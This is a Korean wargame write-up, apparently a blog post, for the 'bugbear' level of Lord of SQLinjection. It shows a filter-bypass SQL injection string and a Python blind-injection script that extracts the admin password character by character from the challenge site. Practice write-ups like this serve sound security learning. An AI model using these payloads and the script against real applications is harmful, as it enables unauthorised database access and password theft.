php 코드를 보면 이전 문제들 보다 필터가 많이 걸려있다.

공백, =, like, 0x가 필터에 걸려있기 때문에 이들을 전부 우회했다.

우선 pw를 구하는 방법은 아래와 같다.

?pw=1&no=1||hex(id)%0anot%0ain%0a(6775657374)%26%26length(pw)in(8)

공백은 %0a, like는 in구문을 사용하였고, 0x가 필터에 걸려있기 때문에 in 구문을 통해 guest를 hex로 변환하여 id가 admin인 칼럼만 추출하도록 했다.


pw 길이를 구했으니 이제 blind sqlinjection으로 pw를 추출한다.

import urllib, urllib2
url = "https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?"
flag = ""

for i in range(1, 9):
        for j in range(33, 128):
                payload = "pw=1&no=1||hex(id)%0anot%0ain%0a(6775657374)%26%26hex(mid(pw,{},1))%0ain%0a({})".format(i, hex(j)[2:])
                print url+payload
                req = urllib2.Request(url+payload)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()

                if "Hello admin" in res:
                        print "[+]Find! : {}".format(chr(j))
                        flag += chr(j)
                        break
print "[+] Flag : {}".format(flag)




'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection assassin  (0) 2017.08.04
Lord of SQLinjection giant  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection golem  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30

+ Recent posts